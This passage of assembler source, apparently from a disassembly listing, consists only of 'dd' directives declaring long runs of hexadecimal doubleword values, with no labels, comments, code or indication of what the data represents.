		dd 5BB600D2h, 389A7C0Ch, 0A900A574h, 0A23BE03h,	0B4C684h
		dd 0D64F727h, 665242BDh, 0B011E800h, 4AE54463h,	0E22F000Bh
		dd 0EED08C6Dh, 0A900165Ch, 87FA7220h, 156404h, 990330F6h
		dd 0CF401EE5h, 84AA7428h, 252DC000h, 2A31BFEBh,	0D26E00FBh
		dd 3BF8F1D3h, 0CE03472Fh, 4340FCBAh, 9C0C9D70h,	75A39ADh
		dd 9E38A501h, 0E486204Fh, 8872D56Ch, 0A9A0E012h, 0C2000C12h
		dd 385E9DD1h, 44090765h, 48690DCh, 48E986E8h, 66FC9600h
		dd 2DD30E32h, 99170F70h, 0C482E859h, 0F883FFA5h, 0F0C7BDB9h
		dd 0D7406CC8h, 5FE30800h, 36794241h, 26F0048h, 5C140CF3h
		dd 2518F885h, 13A837C4h, 9260000Fh, 3DDCE30Dh, 2AECEEC5h
		dd 86084100h, 0B572FC19h, 0D1D4F958h, 16053825h, 80C32C1Eh
		dd 6086B8F2h, 6C06E57Fh, 0F87CAB36h, 0D6EC90h, 0E21D675Bh
		dd 78EB72F1h, 1ACF39h, 36273DB6h, 24E5E8BEh, 80385094h
		dd 0F5E4A0C7h, 73EA25DDh, 0F9CB2403h, 0D8501EC4h, 8837C6h
		dd 0B9FBC8E4h, 0A93F76FEh, 0ED9EDA01h, 9951A7D8h, 23EE0E3h
		dd 0B1A000D3h, 16E20457h, 0DB001A85h, 0A79E259Bh, 75138ECCh
		dd 702A1CFCh, 66E440A6h, 63851861h, 0BA512700h,	53054B41h
		dd 574D0103h, 6DF45B4Ch, 0CB8E0D2h, 2E5F60Fh, 0D7EB4008h
		dd 0C3EA0629h, 7F61B408h, 68AADDC8h, 28978A01h,	0ACD091EBh
		dd 0CC8F8CC5h, 0E90E4869h, 1B47B8E0h, 3913DFCFh, 69001691h
		dd 0FD92605h, 78B70322h, 59BC4EBBh, 962BAFE0h, 60236C00h
		dd 4A5E686Ah, 0A84EC67h, 0B108613Ah, 706B0088h,	695317ADh
		dd 0AFAA4E00h, 71F34A5h, 2F939844h, 9CD4A341h, 0F54B9403h
		dd 0C616E82Ah, 927400B1h, 205633B9h, 6807FDB4h,	985A5D54h
		dd 0F7C01B04h, 7DB24Fh,	0D3C7DC43h, 1AECBA7Eh, 0AE180A00h
		dd 44172D64h, 3D680062h, 0BDF9B79Bh, 0BA7B9FF4h, 0FCE44B03h
		dd 0C804E780h, 18AE6Bh,	384289A1h, 7A2E0812h, 0DFE0F70Fh
		dd 0C7C160F0h, 0EA7B9559h, 0AFFE0307h, 4E7C102Ah, 6DE072D0h
		dd 0EEF66001h, 0B57F04C7h, 0F8EA30h, 20E8099Dh,	1BEC687Ah
		dd 0F1CEAC00h, 223E3713h, 52A200F3h, 0D7A0C12h,	0EA0003EFh
		dd 0AAAF8BE7h, 6285FEh,	2BA7C18Ch, 2E8AF25Ah, 0A0EAA600h
		dd 787C334Ch, 1B7187h, 0CF90670Eh, 0A692AA1Eh, 337B8500h
		dd 0D4B19F6Dh, 3AC1001Ch, 0BDE14E8Eh, 470084AEh, 0C64C5897h
		dd 0FF1DFEh, 54337ABBh,	0ABBE7B6Dh, 0B1108800h,	9065AF94h
		dd 5C210062h, 35169A01h, 0C0ED5F0Fh, 0BB0C290Dh, 994A179h
		dd 41620E82h, 0CC837F75h, 24F0AF3Fh, 9103ED72h,	0E68004CDh
		dd 1783C81Dh, 56904CFEh, 4BDFB300h, 0D8AAE444h,	8818200h
		dd 2293A84Ch, 2575CAh, 3E5C8333h, 92146812h, 0FEDFE1C0h
		dd 0E210F6h, 202F2181h,	3A91F5D8h, 94BDD00h, 0E497671Eh
		dd 365A009Fh, 4EC14FB5h, 0BA0B7607h, 8039A948h,	77C4AC54h
		dd 0AA4501AEh, 6F623B52h, 0CD302094h, 7FF1F00h,	0F560BCBBh
		dd 0B1F101C2h, 97BA578Ch, 0AC80CB46h, 0F47DA737h, 78196401h
		dd 0B6EEB10Bh, 48AC8h, 0BE9780BAh, 0F4321199h, 727BA700h
		dd 7F010907h, 0C2ECA4h,	0EEAEB743h, 0CA19F940h,	7608B53Ah
		dd 136C3Bh, 0B3617895h,	0B1D642h, 7EE9CC88h, 7F729084h
		dd 1A1254FEh, 2420AA0Bh, 167FB1Dh, 0FC52D271h, 20490A65h
		dd 0C1241438h, 0A00053C6h, 82402E36h, 0ABEE00F0h, 0E4D47B2Ah
		dd 0EAE2C787h, 0F1A76D00h, 7197DF5Bh, 0AD490034h, 67F74132h
		dd 0DB708628h, 64990700h, 0CACBBAF9h, 29BC00F5h, 456F138Ch
		dd 7701FE54h, 554427EEh, 74FCC125h, 4A400056h, 116D78D0h
		dd 0B9EC5FF9h, 0A8F49100h, 983BB060h, 0E0074BD5h, 8500F69Ah
		dd 8A7D17F9h, 0FD0180h,	0DAEDDE54h, 0E03AEF6Ah,	9FB4F8C0h
		dd 9EC920h, 8FAF7330h, 86D2704Ch, 4F4B000h, 0EF2CE72Eh
		dd 0EE83005Ah, 5D9D05F2h, 8C30640h, 808902EAh, 0E47663D2h
		dd 496F00DEh, 9886A881h, 221C5DE8h, 978057C3h, 2925C5C6h
		dd 6663247Eh, 9B2B8030h, 0A6385FB5h, 0C6785D03h, 98840518h
		dd 0A7042h, 66C47DC2h, 0D1D07FC3h, 5D381400h, 0EFB7C75Eh
		dd 769701B2h, 0AE580B99h, 0F5FCF911h, 0E0A0C5DBh, 8400C612h
		dd 1E34E955h, 6B410Ah, 0F0C4B327h, 0FBC11521h, 0A3B99E0Fh
		dd 3A5C4045h, 1E6F2C6h,	6BAE9F9Bh, 0E07EA912h, 43162653h
		dd 0FF00EA75h, 0A07CDEE0h, 0D7360141h, 0A15D9CA7h, 8BA07092h
		dd 0F3BD7D00h, 0DBC0310Eh, 3EB02D4h, 0C555A8A9h, 0F536D840h
		dd 93A44900h, 65E45ECDh, 88D8003Ah, 0AC744664h,	0F00E86ECh
		dd 225F20AAh, 60AF92EFh, 732E85B8h, 9FD30179h, 0F1035837h
		dd 0D92BE85Dh, 0B85CB128h, 602ABE0Fh, 85128044h, 508DFC7Ah
		dd 32DBE0Ah, 7B4802A1h,	0C6B01352h, 7200FDA3h, 0CF17B2F6h
		dd 3BEDF5E5h, 599F89D6h, 3AB068DAh, 74017103h, 77939415h
		dd 40F43147h, 0A34CFCF0h, 0A5704DE8h, 0B988EA03h, 28D65Dh
		dd 0BEACB51Ch, 0CBF29BAFh, 34A7C524h, 6D40041Fh, 42A04556h
		dd 8151480Ch, 5F5C0900h, 0A66670C5h, 234B7200h,	45DD2192h
		dd 1D7BC0h, 3C9BF64Dh, 73DECB99h, 728CC600h, 7BDFD3BCh
		dd 22C50041h, 852F3AEAh, 4E053B44h, 0BDE423A1h,	0B42B00C0h
		dd 0FB80C732h, 0A09AF7D4h, 4C23EAE0h, 5004E41Eh, 0E72F7305h
		dd 0DEA3D400h, 0E71DA6Eh, 753DC3E9h, 5DF69720h,	3F00F357h
		dd 1DB7232Fh, 11CC86Bh,	0E7D1199Eh, 0C884BA65h,	7D05813Bh
		dd 27FCE56Ah, 930C3C07h, 3A03F0C0h, 0FD22038Fh,	0F2E2B842h
		dd 44522006h, 81EA0Ah, 0B7DAD3EDh, 0C9A73C39h, 0C8005F72h
		dd 35833AFAh, 8D03BBh, 0EBD5A0FDh, 42044CCFh, 0EC1DFB14h
		dd 0B4300060h, 706E21D1h, 25900ABh, 0FC23C17Eh,	7100F86Bh
		dd 3A74BEEDh, 0ABFFDh, 9EC5273Bh, 17F38F23h, 0AF370801h
		dd 3EBD070Dh, 742EB0DFh, 0A19700F6h, 469847DCh,	0A800E36Eh
		dd 0CF427A4h, 0EEB0784Ah, 35BD30DEh, 624FE4F0h,	85FCE801h
		dd 8243E7D6h, 88A60895h, 6281C438h, 0CC95B2F9h,	0EC3B60FAh
		dd 699E5D00h, 31D580A7h, 386000E0h, 0F45ED6BEh,	4D308B41h
		dd 0DEBA40ADh, 7ADF0005h, 7023E42Ah, 8DE8E281h,	50BC7858h
		dd 2500A056h, 1AFAF930h, 18702C8Ch, 50474C69h, 0A91C91A8h
		dd 23C7D154h, 3CC042DEh, 0C43818h, 0FE5FD6BBh, 87B5E96Bh
		dd 5C28D4h, 0F310C8C2h,	1877D6B1h, 38E614B8h, 59183121h
		dd 0C929451Ch, 789003Ch, 6B75E412h, 69281430h, 200024D8h
		dd 5DC03C85h, 0FCDDB39h, 0A45EA74Bh, 0BE2E4980h, 5B03D127h
		dd 0EB21E3E7h, 7E380E89h, 69E0427Ch, 0E2A0B0F5h, 0E0475A00h
		dd 0A6A9F333h, 0BCC00074h, 9B66BD6h, 7805449Ah,	799BDAF2h
		dd 0EE9614h, 0F5D1AA1Bh
		dd 626FAFh, 1D10E1D3h, 86D71881h, 0CC2CD803h, 0C86EE5DFh
		dd 0F1A587h, 0B7395029h, 2C47AFCh, 0A7F52300h, 624253A6h
		dd 16941F86h, 55D04EDCh, 50D895A7h, 82A9D605h, 8AAF5Ch
		dd 3F40F0BBh, 190B163h,	8F58480Ah, 0DBB67ECFh, 0AFBB3BF0h
		dd 17B8400h, 759DEA15h,	0B88C00FFh, 0FAEBC6B7h,	5918DF19h
		dd 234A74ECh, 8447071Eh, 0B0E9D065h, 0E4CD3BABh, 44F89400h
		dd 0A3919BB0h, 7A630083h, 4CC53D7h, 3B1E306Eh, 0FE00AD5Ah
		dd 0EB6FA57h, 0F8E6002Bh, 8C1B5633h, 0E300F2DAh, 0D61E02FBh
		dd 0D5F43Ah, 0B1B90C91h, 0C2606167h, 976242E6h,	6077D360h
		dd 0E882CF52h, 0FDF04A2h, 0FFB48859h, 9348FCC1h, 7C42E8h
		dd 7974FAF3h, 0A59566CAh, 0DC7DD724h, 9CA2E400h, 70733D60h
		dd 58FE00E2h, 0BBE6BFB7h, 0EE031ED1h, 5B8E0BD4h, 8750001Bh
		dd 0E86C093Ch, 40C04579h, 3A722CF0h, 0E1C00D4h,	62BCFE80h
		dd 75321105h, 0C19C185Eh, 31803DE5h, 0DD3F2960h, 0B2078853h
		dd 0D2A215A8h, 37F290D0h, 40F800B8h, 8A7C2979h,	933F6F17h
		dd 6EBC8006h, 32BDC505h, 5BA90023h, 1A47329h, 86058EABh
		dd 0CA54F450h, 183AF71Fh, 0D0487516h, 37710015h, 7CCDD828h
		dd 5000E24Dh, 391F449Bh, 455C56h, 8B3702Fh, 0F79CB6ACh
		dd 300F82B0h, 0C32EF117h, 0D84E7A95h, 0FA2568h,	79A76E64h
		dd 7F0E0B50h, 0D4F91E00h, 0FD5BA24Dh, 617448h, 874BCA64h
		dd 144327DEh, 0D9C42E03h, 0D8794258h, 6EACE20h,	3DB22829h
		dd 2B00F1AAh, 975E374Fh, 3566A4h, 8A4D337Ah, 1EFDD450h
		dd 3664EC00h, 98CA564Ch, 0C2DE0717h, 70103DC6h,	9D1A3E13h
		dd 804B3A00h, 92AA77A8h, 5FDE00D9h, 89889A61h, 7E0EF0B0h
		dd 0E988F4Fh, 6BC0A2F9h, 0D4D4067h, 8A0E00CFh, 8371FEDEh
		dd 1311A65h, 89A618CBh,	24D9ADCh, 65F2931h, 670008C2h
		dd 0FFDA79h, 9B0A295h, 82E922D5h, 0C78C6C00h, 4ACA32D4h
		dd 797749h, 62B0AA57h, 0D8FE9E3h, 9A00FF98h, 0ABCABF18h
		dd 799AD70h, 0B6B00892h, 0C12A048Ah, 0EF27693Dh, 129D33C0h
		dd 25EEB700h, 154FB6E9h, 9E033AC4h, 0D4B0D500h,	0DAF33995h
		dd 0A61E4700h, 28569B58h, 0E659030Eh, 0C1CD4645h, 559A3801h
		dd 38FAD883h, 0AD208EF5h, 20EA003Ah, 66428780h,	24007A4Eh
		dd 0EFDC59D0h, 44E701h,	3B63A506h, 0E8885C77h, 804A142Dh
		dd 0E53A96BBh, 0B0380046h, 62D8193Ch, 0ED00F121h, 8C7345F4h
		dd 1EAB55Eh, 125B4B03h,	0F8ACDABAh, 0E9035977h,	0BD80B3D7h
		dd 0C601C7ADh, 489FCD78h, 743905h, 0BF324CACh, 8D626544h
		dd 3B40EF00h, 6C3E5A26h, 1DDA00F9h, 0A229C150h,	7F7186F2h
		dd 55652200h, 3EE33B8h,	8C020072h, 0AAFAA43Eh, 8E01F9C9h
		dd 11382B61h, 9CE11264h, 19FB520h, 0FC5C68DEh, 0F4C61939h
		dd 0F6188C3Dh, 0D60AAEA1h, 21F10780h, 1ECD389h,	806D3FA7h
		dd 0A2624B8h, 0AA52E1h,	0BA20800Dh, 0E7BF11C9h,	1759CE01h
		dd 0BDA7161Dh, 0E9F47261h, 0F718C04Eh, 6F56AFA8h, 105B5Ch
		dd 3A7E3E7Fh, 3324340h,	7925B320h, 0ED90A6DCh, 0C60375C5h
		dd 0FF827BEEh, 0AB2CF9A2h, 1C6809C0h, 0B53BD3h,	806E50CDh
		dd 1A006D28h, 0FEC5FB82h, 74456108h, 271005F4h,	0F82F7A47h
		dd 0B875018Eh, 46A27459h, 2EA406E8h, 21DC333Ch,	972B6020h
		dd 7E206825h, 0C7ED007Ah, 0A1C11D27h, 0D23E7B7Fh, 329980C6h
		dd 6F6A6546h, 5BD0177h,	279222C3h, 0B0F4F0A6h, 0CFBB5400h
		dd 0B4602F7Dh, 20BE0F9Dh, 4B202BBDh, 93B1B639h,	0F47C2E00h
		dd 0DCA731EFh, 0F8370CE1h, 46A0EE84h, 82004F74h, 63B6F87h
		dd 0EE2E4B14h, 0CC7081h, 5111135Ah, 7990E528h, 0E2D58201h
		dd 0E9F458A0h, 0A84BA030h, 1EEC61A4h, 17D27A2h,	0D1690B96h
		dd 0FCE3DCD0h, 0A980E500h, 0AA50C849h, 0B3750315h, 7B0C739Dh
		dd 0C081B801h, 0C1274B86h, 0AA8CCD0h, 79E0BB6Dh, 90D66780h
		dd 29417A13h, 10EA078Dh, 0F0F8BEFDh, 7B0E87E8h,	63DFC485h
		dd 0E8130ED0h, 3C69FED4h, 2C1EA105h, 0AF4DC079h, 8BFA85CCh
		dd 0FD2B2603h, 987E8219h, 79B848Dh, 0BC2F0EBBh,	37E56053h
		dd 6B58D0EEh, 0C1C505A8h, 8000D22Ch, 0EF28DCCAh, 20FA528Eh
		dd 398C36CAh, 0C0C420D1h, 0F696B090h, 523F0079h, 0DB854DF5h
		dd 865014E6h, 0FF3DCDD0h, 0D6388053h, 7E7DC51Fh, 0AD0D0E22h
		dd 689B053Ah, 3C042842h, 7D31054Bh, 0C7A0EB1h, 0D1300868h
		dd 2D393051h, 6871B207h, 0EE25C898h, 0B0158AC0h, 14F7383Bh
		dd 94C5FE83h, 190C3E0Fh, 31725686h, 10EA42C0h, 888269AEh
		dd 0D9203D59h, 157B7789h, 0C04C899h, 0C185320Ch, 0CA80C49h
		dd 2884873Eh, 1930E7F8h, 49557A53h, 185451A0h, 0FC0C4178h
		dd 755443F1h, 680C05D5h, 0E21805EBh, 0E44805AEh, 0F71805F5h
		dd 900C0885h, 200D218Fh, 9F8286A7h, 0AAD20052h,	0EA569408h
		dd 0A8A0C9FAh, 3A0025F0h, 18271766h, 1970559h, 4FD47A36h
		dd 0D39D6396h, 4B82B798h, 0B51DBCEEh, 3C034EDh,	0F63C599Ah
		dd 749B07B6h, 0C3AEF3D3h, 1CB8150Dh, 8C07B434h,	0A0BA5035h
		dd 0A8D7A190h, 0BA9856h, 90191DF1h, 9439C723h, 73A6B07h
		dd 0A080CDECh, 6798EDh,	8E3F551Ah, 45369E15h, 294C0654h
		dd 30F68218h, 22B5D8h, 6C55025Ah, 690C0B8Fh, 0F4288B00h
		dd 34D24603h, 0D998005Eh, 311829A9h, 1400ACFFh,	0A569F06Eh
		dd 0A79C79h, 0EC47EE53h, 8EADFAFEh, 0C7F80105h,	1C379A0Bh
		dd 1CF2A382h, 0B5000BFCh, 9B842E5h, 2E37E05h, 4666EF6Eh
		dd 0C0953328h, 3FBE2600h, 749CD18h, 0BAFD3C0Dh,	796681DBh
		dd 0B428804Ch, 0F773EEEh, 0CD2E0099h, 0AA5D4204h, 7A002DD7h
		dd 0A68112FEh, 1C1EEF2h, 644946BCh, 0D99FAE51h,	5CA7DC09h
		dd 6F04F100h, 568DA4AAh, 0A8DE0082h, 7DA0F376h,	0BC00E079h
		dd 0A5259289h, 2BD528h,	8CE75BAh, 0A31DB88Fh, 0C3336C1Dh
		dd 0B3F09880h, 0FCC4C12h, 0D1CB2A3Dh, 0AEEBC8DCh, 0A9C4781h
		dd 88403293h, 2A78D0Bh,	0EF3599BEh, 5897B36Bh, 0D692D408h
		dd 4CFCD629h, 12C9A160h, 0AD030E73h, 65208F27h,	0B3D05F7Bh
		dd 1D464417h, 5EA5C300h, 0F0A74884h, 53C4301Eh,	0ECB3A308h
		dd 0C3304726h, 6DA1A006h, 110C0030h, 97E38357h,	3D3F8767h
		dd 8BD100DCh, 768131EAh, 0D9583809h, 0BBA5A483h, 40C0619Ch
		dd 0F826D1A0h, 110001BAh, 0DA6FD3B5h, 0E5D0E5A6h, 40020E74h
		dd 0A360DC8Eh, 8654912Ah, 22E04803h, 80D77104h,	0EF09D6Ch
		dd 85239C07h, 2B1D069Eh, 1E000889h, 9E9DC02Eh, 508A7094h
		dd 0AC802Ah, 316F03C6h,	908957F2h, 0AC748429h, 2748005Ch
		dd 2351E6FBh, 440C64F9h, 26912E62h, 0E771008Ch,	733337A1h
		dd 9407C880h, 0B7C424ACh, 0C5214E50h, 447D57AAh, 9CF5A5F0h
		dd 0F9180A0h, 0BD69AB0Fh, 40148106h, 3426D113h,	2ED70075h
		dd 0BA7EE323h, 0E4004468h, 9A80B68Ch, 1F1C7661h, 58DA4Fh
		dd 2383E13Eh, 0E630F928h, 1F3F6065h, 0A835000Bh, 0E9528FD9h
		dd 62017540h, 0F951965Ah, 28BE0119h, 48AD00F7h,	0E275D69Bh
		dd 8F12BC83h, 0A711EBE4h, 1E75C384h, 0A40ED863h, 93A0A048h
		dd 0D28A0047h, 0EF7428DFh, 0E60038EDh, 502A8CACh, 1C9BCDC4h
		dd 4079FD4Ch, 81526C90h, 0EE12A886h, 68006D3Ah,	0CFB91F1Eh
		dd 0BAF016ACh, 0AFE40095h, 2FF4785Bh, 0BF3B910Ah, 980D059h
		dd 7DAC4DB5h, 7A153A11h, 2B4B2292h, 824F8E64h, 689BD875h
		dd 0B179D08h, 95801869h
		dd 49C95C87h, 346E1680h, 6002BB41h, 90C5FDFAh, 710C45A7h
		dd 978E4367h, 4345D804h, 4904B5Ah, 7F1C789h, 0B6192138h
		dd 15B81F2h, 0A0FC4ADDh, 721C3A34h, 0C8FC0561h,	5F2B2F84h
		dd 42FE5CF4h, 9DCCE614h, 0E905809Ch, 1EF4864Fh,	750C442Eh
		dd 9018849Ah, 91736800h, 0C65012D6h, 53C4A6A5h,	890090CFh
		dd 840D86C9h, 1490B963h, 0C2C2F1Eh, 1168EB0Ch, 8BE408CDh
		dd 8A906D9Eh, 50A46118h, 5E0D552Eh, 2199D562h, 4960FFCCh
		dd 0F43A3C5Ch, 9C1926h,	9E29BB3Bh, 4F0011B3h, 0DE9099D3h
		dd 508E742Eh, 486C8639h, 907A40E6h, 48041330h, 0AE680095h
		dd 0C9E089EBh, 41083D1Eh, 5166EC00h, 0AD3734Ah,	2EDF749Ch
		dd 2AB129Ch, 0A144290Ch, 0D8620068h, 4241EB00h,	43607D1Fh
		dd 0EAF7019Fh, 5FC72CBEh, 6002472h, 5446ACA0h, 0B2F0F89Ah
		dd 0F0B0CD0Eh, 9339606Dh, 0E5C6A8h, 437FAEB5h, 1EF7AAF4h
		dd 0BAF373Ah, 2291463Ah, 4C524510h, 0E3FE1390h,	0B04801B5h
		dd 20F7F45Ch, 563348C0h, 0A7ED3036h, 0CC0D224h,	0C1B2D48Ch
		dd 3046AB48h, 345C2026h, 86889F0Ch, 81309Ch, 0BF0B3851h
		dd 0EEB349B4h, 0E25AD3Eh, 3D572F8Eh, 273EBC0h, 32CA03Ah
		dd 72A8F1A2h, 11009A88h, 0ABAFFAA6h, 300751D7h,	73483D89h
		dd 1D05C3D2h, 6C026783h, 70442040h, 0C20DD79h, 0BE8937CAh
		dd 3A295330h, 583034B1h, 4130A1D7h, 33298054h, 431E5828h
		dd 1F4E3A9Eh, 73B5C10Ah, 0D2B96030h, 1CA851F1h,	0CF0F6813h
		dd 6A1F231Dh, 70EC4C1Bh, 0D7A8294Fh, 17F3011Ch,	0CC431AFCh
		dd 38A51B01h, 0C982A985h, 0C2D36823h, 972914B8h, 0B38030A9h
		dd 0E35E855Fh, 0BC750508h, 68D870FCh, 34ACE99Ch, 9C99348h
		dd 0A8B9E32Fh, 73D9684Ch, 521AE0ECh, 609AEC63h,	1DA65C81h
		dd 75FD430h, 0C7534A0Ah, 0AE5018FAh, 6E290095h,	334A04D4h
		dd 1D57CE22h, 24BC0244h, 2CC53906h, 0ADE91359h,	0C543D8E0h
		dd 71686F0h, 8AA2E8B0h,	700A5BB4h, 24F16A99h, 0B61EF341h
		dd 4F857892h, 1A413B20h, 0ABAF7AC3h, 90B02C11h,	8CD7978Eh
		dd 28E9D331h, 88C6FE2h,	62A0E7A2h, 0C1CA548h, 0A8BAAA03h
		dd 50CE530Ch, 0E3BF398Fh, 0B8A9B31Ch, 103688ECh, 0C55430FBh
		dd 0FC40FA93h, 631DB404h, 73FD0CB5h, 42D06A82h,	9800A4Ch
		dd 51C6B23h, 9C4CA4E0h,	37E3A86Eh, 70100592h, 0B6C31E26h
		dd 0A43EC8AAh, 0CCFD58B5h, 0A7F99050h, 0DB2284A0h, 0C57CE280h
		dd 495F0368h, 580572B0h, 0D6F838DCh, 24D91822h,	0BF0C9F0h
		dd 180EE49Dh, 14B0AE0Ah, 620C8881h, 0C8F00131h,	0E67C8F48h
		dd 0B9C121B0h, 0EA335131h, 15821860h, 741AFE5Ch, 0DF5E88D8h
		dd 301F0610h, 0AF711380h, 0D409E325h, 1C50A69Dh, 0D019126Ch
		dd 1CB4100Dh, 0B49AF302h, 28420326h, 0FB00884Fh, 42C0F885h
		dd 12B890A3h, 2C1E3DE4h, 0A8059D18h, 0AE08F88Eh, 3CE69002h
		dd 81A04526h, 0E8C8224Ch, 33508194h, 81400D4Dh,	210814F3h
		dd 19C02CD5h, 49C4AF7h,	61761380h, 1211F0A9h, 0ED185CD7h
		dd 0EF220D08h, 6CF3004Eh, 0C0A13043h, 0DB0414A6h, 5D6D77B4h
		dd 556CD300h, 88A50133h, 94A70B01h, 2881715Bh, 32EC33B3h
		dd 0FE3C5881h, 0BC941B08h, 80931D1Fh, 44213070h, 0E1483351h
		dd 7BC1A004h, 31C360F2h, 94E39C73h, 0F47CA701h,	0CFBAE2E5h
		dd 15B0C2E4h, 60AA056Fh, 0C3CA4B80h, 0A4A064A9h, 47008F53h
		dd 0F10A6795h, 635E794h, 21813339h, 0CA548CAh, 15BBAB1Eh
		dd 34C427EDh, 3465819Ah, 93A63105h, 67C0EC5Dh, 97E79546h
		dd 3D18A5F1h, 184C4597h, 0ECF358DAh, 0E2E64200h, 2E5F835h
		dd 82E0CAA9h, 7EC750A0h, 0D3489250h, 0E5E3FD00h, 94EC4FC2h
		dd 7118AC87h, 63FF2A6Eh, 8FB30480h, 8A279510h, 789C049Ch
		dd 6091BF9Dh, 104CF193h, 5D8108F6h, 7300FACCh, 22E13106h
		dd 0A4EE5171h, 0C9C05C32h, 1A27B3DAh, 0B65128B0h, 3CB0CABCh
		dd 20131443h, 48057EC0h, 800A3E33h, 29C01422h, 40C08C47h
		dd 0E3041378h, 0B9E1D6F7h, 0E0BBD971h, 0ACA8CE4Bh, 4701F7EDh
		dd 94EBEC21h, 3887E827h, 0CEF82C61h, 40026789h,	21054BC1h
		dd 0E1343C60h, 8CE51489h, 8730B8B5h, 0F42AA140h, 7C0681E8h
		dd 6542E3A6h, 10612448h, 0F8A21448h, 50F7BFA0h,	0BD43120h
		dd 0E5EE18B3h, 621C5416h, 4DD623F1h, 24420C40h,	52C8E2E1h
		dd 0D1805054h, 594BECB7h, 0F3CCD051h, 74823026h, 18BCAFD0h
		dd 30442FD0h, 8B5CFA53h, 0CCC4990h, 30F767A2h, 1067B58h
		dd 0D1C412C3h, 60A38087h, 59736C94h, 22AB8213h,	1FDB7038h
		dd 0E0BF923Ch, 14E03316h, 8240Bh, 24C60320h, 87E32C1Eh
		dd 0A7C78CBCh, 3C7C9240h, 579C031Dh, 42F86306h,	0CE05C60h
		dd 1D4C316h, 9508354h, 0DB7CE02Fh, 93A8825Ah, 201D2E3Ch
		dd 0B4A306FFh, 6B1C10E8h, 414EE240h, 99428268h,	0B46037Bh
		dd 0C03A6830h, 914139C3h, 8AA5C088h, 3B4029CCh,	387F5C13h
		dd 0F6A6230Bh, 0F0BD4003h, 9CE33028h, 3DFEE218h, 0A0D07BA0h
		dd 0FA8D5FA4h, 38AD2C22h, 40CC29DCh, 0E0416957h, 0B8F301F9h
		dd 0DB318C68h, 0F073A260h, 84588326h, 0EC620C78h, 65E008FCh
		dd 802E48ACh, 89C543FCh, 48A2EB18h, 0F8C6E3D0h,	0A8E12647h
		dd 60B8293Ch, 7B38088Ah, 0B0D379C4h, 2DC8304h, 40A8BB62h
		dd 3B6F01C0h, 0B8D0431Fh, 0B33209E3h, 0D84E62E6h, 0F3B1AF0h
		dd 176C4941h, 9C09B2C6h, 0A22402A6h, 4200E082h,	0B0C96004h
		dd 3230513h, 68C28678h,	61E61A55h, 42E0D204h, 8208C5E2h
		dd 38005BFh, 0F1C0876Bh, 0D02302FBh, 18C4B511h,	7CC1FCBAh
		dd 0A2D1CD67h, 118EEEFh, 0C32A8FD0h, 0E1257B1Bh, 4014E7A5h
		dd 1EA8B85Bh, 4747BDCBh, 7D3BEE4h, 0C240000Bh, 42E60146h
		dd 62F0CEEEh, 26030806h, 8058EA63h, 31D1DBF3h, 8698D67h
		dd 50B080ADh, 0DD23585Eh, 0BD08C80Dh, 0FB968304h, 0C7A4481h
		dd 4AA3A0F3h, 77F7F11Fh, 0AC515120h, 902707ECh,	6240074h
		dd 7154BDD1h, 6E00FDD6h, 0C83F237Dh, 0FE7F2208h, 9DF876h
		dd 0D8EBDE54h, 9F21AF6Dh, 0B7963Ch, 0E4224578h,	785725F8h
		dd 765901E1h, 832CA1F7h, 0D47BE4F5h, 6861F60Eh,	0E0183D8h
		dd 6708039Eh, 6B98E249h, 373D6DC0h, 3F4619C0h, 74C9B8E4h
		dd 238185Ah, 5FD90809h,	455018C7h, 0D0A198C0h, 0C161F1EBh
		dd 602FF8D0h, 51D3486Ch, 0D3358E1h, 0C639836h, 0BC5D8A8h
		dd 0D9645E40h, 0F8036410h, 8790E70h, 54201463h,	7587FBEh
		dd 12DDD4BBh, 0FABD43B9h, 6D9D1001h, 0BCFD181Ch, 39D8A883h
		dd 0F8EED70Ch, 0FBEDCC00h, 38CAF09Ch, 0DE8301C5h, 9EBC28F9h
		dd 78C9F3D0h, 0F3EFE364h, 0B8C00DACh, 0F8F897D8h, 1D4B0606h
		dd 0F8100BDDh, 5F850043h, 0FC6E8F7Fh, 8741538h,	180A7820h
		dd 386BF3B8h, 280051A5h, 1EEB215Dh, 0C749BF1Dh,	70759048h
		dd 83D9353Dh, 23B65E00h, 4B767EBCh, 20DF035Dh, 0AC58FC1Ch
		dd 0ED785003h, 80FF0FA7h, 285EBC3Ah, 48F4AA24h,	4E740812h
		dd 2456E83Fh, 8F3B00EAh, 652205E2h, 0D007460Dh,	1F801AAEh
		dd 0E8237E5Ah, 185B6FD3h, 297F4018h, 3D333090h,	74D39ADh
		dd 0AB4ADF30h, 674521h,	0A9B538D4h, 0E91FA1F6h,	7D40F74Ch
		dd 0CDC1F072h, 57D0F990h, 18E20975h, 4C00F894h,	78E416C5h
		dd 1209160h, 24F7616Eh,	61827E1h, 58EA79F8h, 181C3A49h
		dd 64982D32h, 7D6D0067h, 0FE82BAB6h, 78901228h,	0F429B377h
		dd 0A00EECE1h, 89988030h
		dd 3AAAF028h, 61187DD8h, 2518B099h, 0DD6D6202h,	0A0F60D38h
		dd 0B9D5C91Ch, 8A8840D0h, 783FFD31h, 0B88960BFh, 5C06B613h
		dd 0B814C0A8h, 9C209EC7h, 5D3CA7C0h, 12F06F91h,	11DB736Ah
		dd 0BF81345Ch, 0C96CD3CFh, 0C04AF082h, 0B8EA810Ah, 1059C8Ah
		dd 84096A8Ch, 1E4401AFh, 0F0416BDDh, 44203F0Eh,	0CB820760h
		dd 8E92EC78h, 50241E89h, 9E608115h, 0E95C24BAh,	0FF1C4492h
		dd 92CE5DF7h, 0AE3F83FDh, 8C20300Dh, 3036B848h,	4B0418F0h
		dd 77DEBC9Eh, 8A643C87h, 0B2FD4C81h, 0C1D55821h, 0A3E208Ch
		dd 7B609F50h, 14871860h, 453D3E1Fh, 7838E740h, 249FA41Dh
		dd 8B085F00h, 902858EBh, 77BF311Ch, 7FFF18h, 0C4592AF8h
		dd 8219CAF0h, 48437130h, 68401BA2h, 789AD27Fh, 0CA396F64h
		dd 777174D1h, 0D0A2FD02h, 4441C7B6h, 612C20F5h,	20021B24h
		dd 307BF09h, 28AC9F38h,	1DB46288h, 127E2621h, 88611881h
		dd 0ECA0188Bh, 94988E75h, 3C300320h, 267CEF5Ah,	0B79C3FE6h
		dd 0B9358230h, 0A9A29860h, 4D2BF81h, 448487ADh,	1F40D457h
		dd 522106FDh, 0F04D80D0h, 90B3318Ch, 188DAA18h,	0E1588698h
		dd 0E943451h, 4ED800E5h, 0C659F0E5h, 0A0A77141h, 389C0750h
		dd 0E57B351Eh, 6D3BB100h, 3F17C9FDh, 0CF031D1Fh, 11C3BD19h
		dd 0BA68DDC1h, 0A62F0710h, 0A407DE82h, 55C05E45h, 90957DD4h
